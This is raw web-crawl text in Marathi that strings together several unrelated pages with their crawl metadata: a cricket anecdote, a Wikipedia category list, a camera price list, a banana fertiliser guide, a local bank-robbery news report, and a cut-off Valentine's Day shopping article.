खेळाडू फवाद अहमद आणि वस्तू विसरणे हे आता नवीन राहिले नाही. मार्च महिन्यात शेफील्ड शिल्ड स्पर्धेत फलंदाजीला येताना हा खेळाडू चक्क बॅट विसरला होता.\nआता त्याच्या पुढे जात त्याने ह्या वेळी चक्क एकाच हाताचे दोन ग्लोव्ज फलंदाजीला येताना आणले होते. हे जेव्हा त्याच्या लक्षात आले तेव्हा परत ड्रेसिंग रूममध्ये परत जात त्याने दुसऱ्या हाताचा ग्लोव्ज आणला.\nयाचा खास विडिओ क्रिकेट ऑस्ट्रेलियाने त्यांच्या ट्विटर अकाउंटवर शेअर केला आहे. व्हिक्टोरिया विरुद्ध क्वीन्सलँड यांच्यातील सामन्यात जेव्हा तो फलंदाजीला येत होता तेव्हा तो अचानक मागे फिरला आणि पुन्हा संघासहकाऱ्यांना तिथूनच सांगितले की तो चुकीचा ग्लोव्ज घेऊन आला आहे.\nयावर एक छान कॅप्शन देत क्रिकेट ऑस्ट्रेलियाने ट्विट केला आहे की चला फवाद दिवसेंदिवस चुका कमी करत आहे. गेल्या वेळी बॅट होती यावेळी ग्लोव्ज आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%97:%E0%A4%9C%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%A8%E0%A5%80%E0%A4%9A%E0%A5%87_%E0%A4%9A%E0%A4%BE%E0%A4%A8%E0%A5%8D%E0%A4%B8%E0%A5%87%E0%A4%B2%E0%A4%B0", "date_download": "2018-09-25T16:38:58Z", "digest": "sha1:Y5ZE3CVVTWHUM4WGNZFJQXKH3D77LS4P", "length": 5159, "nlines": 163, "source_domain": "mr.wikipedia.org", "title": "वर्ग:जर्मनीचे चान्सेलर - विकिपीडिया", "raw_content": "\n\"जर्मनीचे चान्सेलर\" वर्गातील लेख\nएकूण २६ पैकी खालील २६ पाने या वर्गात आहेत.\nलुट्झ ग्राफ श्वेरिन फॉन क्रोसिक\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ३ मार्च २०१५ रोजी १७:२९ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.82, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/cameras/2-inches-under+cameras-price-list.html", "date_download": "2018-09-25T17:37:14Z", "digest": "sha1:OFZB3K6VY7MHLDYWKQB4VGGGCAB7NMBF", "length": 21598, "nlines": 492, "source_domain": "www.pricedekho.com", "title": "2 इंचेस & अंडर कॅमेरास किंमत India मध्ये 25 Sep 2018 वरसूची | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\n2 इंचेस & अंडर कॅमेरास Indiaकिंमत\nIndia 2018 2 इंचेस & अंडर कॅमेरास\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\n2 इंचेस & अंडर कॅमेरास दर India मध्ये 25 September 2018 म्हणून. किंमत यादी ऑनलाइन शॉपिंग 21 एकूण 2 इंचेस & अंडर कॅमेरास समावेश आहे. उत्पादन तपशील, की वैशिष्ट्ये, चित्रे, रेटिंग आणि अधिक सोबत India मध्ये सर्वात कमी भाव शोधा. या वर्गात सर्वाधिक लोकप्रिय उत्पादन स्जचं स्ज 5000 प्लस स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक आहे. सर्वात कमी दर एक सोपा किंमत तुलना Flipkart, Indiatimes, Kaunsa, Naaptol, Amazon सारख्या सर्व प्रमुख ऑनलाइन स्टोअर्स पासून प्राप्त आहेत.\nकिंमत श्रेणी 2 इंचेस & अंडर कॅमेरास\nकिंमत 2 इंचेस & अंडर कॅमेरास आपण सर्व बाजार मध्ये देण्यात येणार उत्पादने चर्चा करताना असतात. सर्वात महाग उत्पादन पॅनासॉनिक लुमिक्स दमच फझ१००० ब्लॅक Rs. 52,250 किंमत आहे. या विरुद्ध, सर्वात कमी दरातील उत्पादन Rs.956 येथे आपल्याला ओझें मिनिमॅक्स ऑटोमॅटिक फिल्म कॅमेरा गोल्ड उपलब्ध आहे. दर या फरक पर्यायांपैकी प्रीमियम उत्पादने ऑनलाइन खरेदीदार एक परवडणारे श्रेणी देते. ऑनलाइन दर Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन खरेदीसाठी इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत\nलोकप्रिय किंमत याद्या पहा:.. सोनी 2 इंचेस & अंडर Cameras Price List, निकॉन 2 इंचेस & अंडर Cameras Price List, कॅनन 2 इंचेस & अंडर Cameras Price List, फुजिफिल्म 2 इंचेस & अंडर Cameras Price List, सॅमसंग 2 इंचेस & अंडर Cameras Price List\n2 इंचेस & अंडर\nदर्शवत आहे 21 उत्पादने\n2 इंचेस & अंडर\nलोकप्रिय 2 इंचेस & अंडर कॅमेरास\nमहाग2 इंचेस & अंडर कॅमेरास\nस्वस्त2 इंचेस & अंडर कॅमेरास\nशीर्ष 102 इंचेस & अंडर कॅमेरास\nताज्या2 इंचेस & अंडर कॅमेरास\nआगामी2 इंचेस & अंडर कॅमेरास\nओझें मिनिमॅक्स ऑटोमॅटिक फिल्म कॅमेरा गोल्ड\n- ऑप्टिकल झूम No\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा पिंक\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nस्जचं स्ज 5000 प्लस स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 16 MP\n- ऑप्टिकल झूम 1x\nस्जचं स्ज ४०००विफी स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 16 MP\n- ऑप्टिकल झूम 0x\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 20 MP\nसॅमसंग प्ल१०० डिजिटल कॅमेरा Black\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.5 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 12.2 MP\nगोप्रो हिरो ऍक्टिव ग्रे\n- स्क्रीन सिझे 1.75 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 8 Megapixels\n- ऑप्टिकल झूम 1000 X\nस्ज 4000 स्पोर्ट्स कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- ऑप्टिकल सेन्सर रेसोलुशन 8MP\nस्जचं म१० १२म्प ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\n- ऑप्टिकल झूम 4x\nडिस्नी प्रिन्सेस डिजिटल कॅमेरा पिंक\n- स्क्रीन सिझे 1.4 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 2 Megapixels\n- ऑप्टिकल झूम Up to 2.9x\nनिकॉन कूलपिक्स स्४३०० पॉईंट & शूट डिजिटल कॅमेरा रेड\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल झूम 6x\nफुजिफिल्म इन्स्टेक्स इन्स्टेक्स मिनी 8 इन्स्टंट कॅमेरा ब्लू\n- स्क्रीन सिझे 1.46 Inch\n- ऑप्टिकल सेन्सर रेसोलुशन 0.6 MP\nपॅनासॉनिक लुमिक्स दमच फझ१००० ब्लॅक\n- स्क्रीन सिझे 1.5 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 20.1 MP\n- ऑप्टिकल झूम 12x\n- सेन्सर तुपे CCD Sensor\nब्रिनो बबकॅ१०० बीके कॅमेरा सेट ग्रीन & ब्लॅक\nबिक्सतुफ बसवंतीनचं२ बॅसि२ स्पोर्ट्स & ऍक्टिव कॅमेरा व्हाईट\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\nस्जचं स्ज 5000 स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 14 MP\n- ऑप्टिकल झूम 1x\nबिक्सतुफ बसवंतीनचं१ बॅचब१ स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे 1.5 inch\n- ऑप्टिकल सेन्सर रेसोलुशन 12 MP\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा ग्रीन\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा औरंगे\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\nरोलली स्पोर्टसळीने सल 62 पॉईंट & शूट डिजिटल कॅमेरा सिल्वर\n- बिल्ट इन फ्लॅश Yes\n- स्क्रीन सिझे 1.8 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 10 MP\n- ऑप्टिकल झूम 8x\nफुजिफिल्म इन्स्टेक्स इन्स्टेक्स मिनी 8 इन्स्टंट कॅमेरा व्हाईट\n- ऑप्टिकल सेन्सर रेसोलुशन 0.6 MP\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.72, "bucket": "all"} {"url": "http://www.agrowon.com/agricultural-stories-marathi-agrowon-banana-plantation-fertiliser-use-12058?tid=149", "date_download": "2018-09-25T17:58:17Z", "digest": "sha1:V3FTM5CCJBOADH6X6AF5JQ6YTZDKRFGR", "length": 18952, "nlines": 177, "source_domain": "www.agrowon.com", "title": "agricultural stories in Marathi, agrowon, Banana plantation & fertiliser use | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nकेळी पिकाची लागवड, अन्नद्रव्य व्यवस्थापन\nकेळी पिकाची लागवड, अन्नद्रव्य व्यवस्थापन\nडॉ. पी. ए. साबळे, सुषमा सोनपुरे\nबुधवार, 12 सप्टेंबर 2018\nकेळी पिकाची लागवड योग्य अंतरावर करून शिफारशीप्रमाणे अन्नद्रव्यांचे नियोजन करावे. भरपूर सेंद्रिय खतांचा वापर केल्यास उत्पादन व दर्जामध्ये वाढ होते.\nकेळी हे महत्त्वाचे नगदी पीक मानले जाते. खोल काळी जमीन आणि सिंचनासाठी पाणी असल्यास या पिकातून चांगले उत्पादन मिळू शकते.\nजमीन : मध्यम ते भारी, भरपूर सेंद्रिय खते असणारी जमीन उपयुक्त ठरते. जमिनीची खोली साधारण ६० ते ९० सेंमीपेक्षा जास्त असावी. सामू उदासीन असावा.\nकेळी पिकाची लागवड योग्य अंतरावर करून शिफारशीप्रमाणे अन्नद्रव्यांचे नियोजन करावे. भरपूर सेंद्रिय खतांचा वापर केल्यास उत्पादन व दर्जामध्ये वाढ होते.\nकेळी हे महत्त्वाचे नगदी पीक मानले जाते. खोल काळी जमीन आणि सिंचनासाठी पाणी असल्यास या पिकातून चांगले उत्पादन मिळू शकते.\nजमीन : मध्यम ते भारी, भरपूर सेंद्रिय खते असणारी जमीन उपयुक्त ठरते. जमिनीची खोली साधारण ६० ते ९० सेंमीपेक्षा जास्त असावी. सामू उदासीन असावा.\nकेळी लागवडीचा हंगाम- मृग हंगाम व सप्टेंबर- ऑक्टोबर लागवड (कांदे बहार)\n१) लागवडीसाठी कंदाची निवड - जातिवंत व रोगमुक्त बागेतून केळीचे कंद निवडावेत. कंद साधारण ७५० ग्रॅम वजनाचा व तलवारीच्या प्रकाराचा असावा. कंदावर तीन ते चार रिंगा असाव्यात. कंद तीन ते चार महिने वयाची असावेत.\nकंदप्रक्रिया - लागवडीपूर्वी कंद इमिडाक्लोप्रीड (१७.८ एस.एल.) ०.५ मि.लि अधिक मॅन्कोझेब ३ ग्रॅम प्रतिलिटर पाणी या द्रावणामध्ये १० ते १५ मिनिटे बुडवून घ्यावी.\n२) ऊतिसंवर्धित रोपे - रोपे एकसारख्या उंचीची, रोगमुक्त असावीत. उंची सुमारे १ ते दीड फूट आणि पानांची संख्या सहापर्यंत असावीत.\nकेळी लागवड करण्यासाठी जातीनुसार १.२५ बाय १.२५ किंवा १.५ बाय १.५ मीटर अंतर ठेवावे. तसेच, केळी लागवड करण्यासाठी चौरस पद्धतीचा अवलंब करावा.\nकेळीसाठी शिफारशीप्रमाणेच खते द्यावीत. केळी लागवड करताना प्रतिझाड पूर्ण कुजलेले शेणखत ३० किलो किंवा ५ किलो गांडूळ खत द्यावे.\nकेळी लागवडीवेळा प्रतिझाड २५ ग्रॅम अॅझोस्पिरीलिअम आणि २५ ग्रॅम पीएसबी द्यावे.\nकेळीसाठी खते देताना बांगडी पद्धतीचा अवलंब करावा. खताचा कार्यक्षमतेने उपयोग होण्यासाठी मातीमध्ये चर करून खते दिल्यानंतर खते त्वरित मातीआड करावीत.\nसाधारणपणे खते देण्याचे वेळापत्रक खालीलप्रमाणे असावे.\nखत देण्याची वेळ युरिया (ग्रॅम एसएसपी (ग्रॅम) एमओपी (ग्रॅम)\nलागवडीपासून महिन्याच्या आत ८० ते ८५ ३५० ते ४०० ८० ते ८५\nपहिल्या डोसनंतर दीड महिन्याने ८० ते ८५ 00 00\nदुसऱ्या डोसनंतर दीड महिन्याने ८० ते ८५ 00 00\nतिसऱ्या डोसनंतर दीड महिन्याने ८० ते ८५ 00 ८० ते ८५\nचौथ्या डोसनंतर दीड महिन्याने ३० ते ३५ 00 00\nपाचव्या डोसनंतर दीड महिन्याने ३० ते३५ ग्रॅम 00 ८० ते ८५\nसहाव्या डोसनंतर दीड महिन्याने ३० ते ३५ ग्रॅम 00 ८० ते ८५\nएकूण मात्रा ४१० ते ४५० ३५० ते ४०० ३२० ते ३४०\n(टीप - उपरोक्त तक्त्यातील खत मात्रेमध्ये माती परीक्षणानुसार योग्य ते बदल करून घेणे अपेक्षित आहे. )\nकेळी लागवडीनंतर दुसऱ्या व चौथ्या महिन्यामध्ये फेरस सल्फेट आणि झिंक सल्फेट ०.५ टक्के द्रावणाची (५ ग्रॅम प्रतिलिटर पाणी) याप्रमाणे फवारणी करावी.\nपाचव्या व सातव्या महिन्यात जमिनीतून झिंक सल्फेट आणि फेरस सल्फेट प्रत्येकी १५ ग्रॅम या प्रमाणात १०० ते १५० ग्रॅम शेणखतात मिसळून द्यावे.\nजर, ठिबक सिंचनातून खतांचा वापर करणार असल्यास शिफारशीच्या ७५ टक्के (म्हणजेच १५०ः६०ः१५० नत्रःस्फुरदःपालाश) मात्रा द्यावी.\nडॉ. पी. ए. साबळे, ८४०८०३५७७२\n(लेखक डॉ. साबळे हे सरदार कृषीनगर दांतीवाडा कृषी विद्यापीठ, गुजरात येथे उद्यानविद्या विभागात सहायक प्राध्यापक असून, सुषमा सोनपुरे या महात्मा फुले कृषी विद्यापीठ, राहुरी येथे कृषी विद्या विभागातून आचार्य पदवी घेत आहेत.)\nकेळी banana खत fertiliser सिंचन रासायनिक खत chemical fertiliser ठिबक सिंचन लेखक कृषी agriculture नगर कृषी विद्यापीठ agriculture university गुजरात महात्मा फुले पदवी\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nकेळी पिकाची लागवड, अन्नद्रव्य व्यवस्थापनकेळी पिकाची लागवड योग्य अंतरावर करून...\nफळपीक सल्लापेरू १) मिलिबग ः डायमेथोएट १.५ मि.लि. किंवा क्‍...\nमोसंबी फळगळीवरील उपाय कारणे रोगग्रस्त, कीडग्रस्त...\nफळपीक व्यवस्थापन सल्लाअंजीर ः १) जमिनीपासून तीन फुटापर्यंत एकच खोड...\nकेळी पीक सल्लासद्यःस्थितीत नवीन मृगबागेची केळी प्राथमिक...\nसंत्रा पीक सल्लासध्या विविध ठिकाणी संत्राबागेमध्ये फळगळची व काळी...\nडाऊनी मिल्ड्यू, करपा रोगाच्या...येत्या आठवड्यामध्ये द्राक्ष लागवडीच्या...\nलागवड कागदी लिंबाची...लिंबू लागवडीसाठी जास्त चुनखडी, क्षार नसणारी जमीन...\nअवर्षणग्रस्त भागात जपली फळबागांमधून...नगर जिल्ह्यातील सतत अवर्षणग्रस्त असलेल्या सैदापूर...\nकागदी लिंबाकरिता हस्तबहराचे नियोजनफेब्रुवारी ते मे महिन्याच्या दरम्यान बाजारपेठेत...\nतंत्र चिकू लागवडीचे...चिकू कलम लागवड करताना प्रत्येक खड्ड्यात मध्यभागी...\nनवीन फुटींवर तांबेरा रोगाची शक्यता,...मागील काही दिवसांमध्ये बऱ्याच ठिकाणी अधूनमधून...\nफळबागेचे पावसाळ्यातील खत व्यवस्थापनआंबा व पेरू अशा बहुवार्षिक फळपिकांमध्ये दरवर्षी...\nलिंबूवर्गीय फळपिकातील कीड रोग नियंत्रणलिंबूवर्गीय फळबागेमध्ये फळगळ ही समस्या...\nप्रतिबंधात्मक पीक संरक्षणातून...जळगाव जिल्ह्यातील तापी नदीच्या काठावरील नायगाव (...\nडाळिंबावरील तेलकट डाग रोग, रस शोषक...मृग बहार काळात ऑगस्ट आणि सप्टेंबर महिन्यात...\nहोले झाले कलिंगड, खरबुजातील ‘मास्टर’पुणे जिल्ह्यातील बिरोबावाडी येथील केशव होले या...\nपेरूसाठी अतिघन लागवड पद्धत उपयुक्तपेरू हे फळझाड व्यापारीदृष्ट्या फार महत्त्वाचे...\nभुरी, डाऊनी रोगांचा धोका वाढू शकतोसर्व द्राक्ष विभागांमध्ये येत्या आठवड्यामध्ये...\nफळबाग लागवडीची पूर्वतयारी...फळबाग लागवडीसाठी उत्तम निचरा होणारी, भरपूर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Union-Bank-looted-11-lakh-in-nagar/", "date_download": "2018-09-25T16:58:23Z", "digest": "sha1:IP3SUQ52AYZM27RZPHPVCFCFOVDNBIDJ", "length": 7268, "nlines": 37, "source_domain": "www.pudhari.news", "title": " युनियन बँकेचे ११ लाख लुटले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › युनियन बँकेचे ११ लाख लुटले\nयुनियन बँकेचे ११ लाख लुटले\nयुनियन बँकेच्या शाखा व्यवस्थापकाच्या कारला धक्का लागल्याचा बहाणा करून दुचाकीस्वारांनी कारची काच फोडून 11 लाख रुपयांची रोकड लांबविली. शहरातील चांदणी चौकाजवळ मंगळवारी दुपारी 12च्या सुमारास ही घटना घडली. या लुटीनंतर शहरात तात्काळ नाकाबंदी करण्यात आली. मात्र, लुटारू पसार झाले.\nपोलिसांनी सांगितले की, युनियन बँकेच्या निमगाव गांगर्डा शाखेत व्यवस्थापक म्हणून महेशकुमार सद‍्गुरु कात्रजकर (32, रा. सरदवाडी, ता. जामखेड, हल्ली रा. जामखेड-बीड रस्ता, शाहू कॉलनी, नगर) हे दीड वर्षांपासून काम करतात.\nबँकेच्या निमगाव गांगर्डा शाखेत दैनंदिन कामकाजासाठी रोकड कमी होती. त्यामुळे सोमवारी कात्रजकर यांनी सावेडीचे शाखा व्यवस्थापक अच्युत देशमुख यांना फोन केला होता. देशमुख यांनी मंगळवारी सकाळी सावेडी शाखेत घेऊन रोकड घेऊन जाण्यास सांगितले. त्यावरून व्यवस्थापक कात्रजकर व शिपाई नाथू किसन गोरे हे दोघे स्विफ्ट डिझायर कारमधून 11 वाजता सावेडी शाखेत गेले. त्यांना 15 लाख रुपये हवे होते. परंतु, 11 लाख रुपयेच मिळाले. ती रक्कम कारमध्ये घेऊन ते साडेअकरा वाजता सावेडी शाखेतून निघाले. तेथून ते स्टेशन रस्त्यावरील शाखेत गेले. तेथे 5 लाख रुपये मागितले. परंतु, पैसे न मिळाल्याने ते पावणेबारा वाजता पुन्हा कारमधून निमगाव गांगर्डा शाखेकडे निघाले.\nकार चांदणी चौकातून त्यांनी कार सोलापूर रस्त्याकडे वळविली. काही अंतर पुढे गेल्यानंतर आरटीओ कार्यालयाच्या जागेसमोरून जात असताना कारचा मोठ्याने आवाज आला. कोणीतरी धक्का दिला असेल, असे समजून कात्रजकर हे कारमधून खाली उतरले. त्यावेळी दुचाकीवरील दोनपैकी पाठीमागील बाजूस बसलेला व्यक्ती मोठ्याने ओरडत होता. कात्रजकर हे त्याच्याकडे जाऊन कोठे लागले आहे, असे विचारत असताना काळ्या रंगाच्या पल्सरवरून आलेले इतर दोनजण कारजवळ गेले. एकाने कारची काच फोडून शिपाई गोरे याच्या गळ्याला धरून ढकलले व 11 लाख रुपये असलेली बॅग हिसकावून घेतली. त्यानंतर दुचाकीवरून भरधाव वेगात दोघेही चांदणी चौकाकडे निघून गेले.\nयाप्रकरणी भिंगार कँप पोलिस ठाण्यात शाखा व्यवस्थापक महेशकुमार कात्रजकर यांच्या फिर्यादीवरून चार अज्ञात व्यक्तींविरुद्ध जबरी चोरीचा गुन्हा दाखल करण्यात आलेला आहे. पुढील तपास सहाय्यक पोलिस निरीक्षक संदीप पाटील हे करीत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/Belgaum-College-valentine-day-issue/", "date_download": "2018-09-25T17:32:07Z", "digest": "sha1:ZJGJEGJXUILNS56TXEMSIS76FWQVNTLG", "length": 5512, "nlines": 35, "source_domain": "www.pudhari.news", "title": " तरुणाईला वेध ‘व्हॅलेंटाईन डे’ चे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › तरुणाईला वेध ‘व्हॅलेंटाईन डे’ चे\nतरुणाईला वेध ‘व्हॅलेंटाईन डे’ चे\nफेब्रुवारी सुरू होताच महाविद्यालयीन तरुण-तरुणींना व्हॅलेंटाईन डेचे वेध लागतात. 14 फेब्रुवारीजवळ आल्याने शुभेच्छा संदेश, फुले, चॉकलेट किंवा अगदी आवडती वस्तू देऊन प्रेम व्यक्त करण्याची प्रथा आजच्या घडीला रुजली आहे. अनेक प्रकारच्या भेटवस्तू खरेदी करून प्रिय व्यक्तीला देण्याची पाश्‍चिमात्य प्रथा आजच्या तरुणाईत रुजल्याने वस्तू खरेदीसाठी बाजारपेठ फुलू लागली आहे. तरुणाईला आकर्षित करण्यासाठी हार्टशेफ फिलो, म्युझिकल हार्ट, फ्लॉवर बास्केट, फोटो फ्रेम, लव्ह कोटेशन फ्रेम,\nलिफाफा ग्रीटिंग्ज, कपल किचेन, फॅन्सी चॉकलेट यासंह शॅम्पेन बॉटल किचन, लिप्स चॉकलेट, चॉकलेट बुके, हार्टशेप चॉकलेट आदी प्रकारचे चॉकलेट बाजारात उपलब्ध आहेत. मुलांसाठी परफ्यूम, वॉलेट, फॅन्सी बॅग, हार्टचे 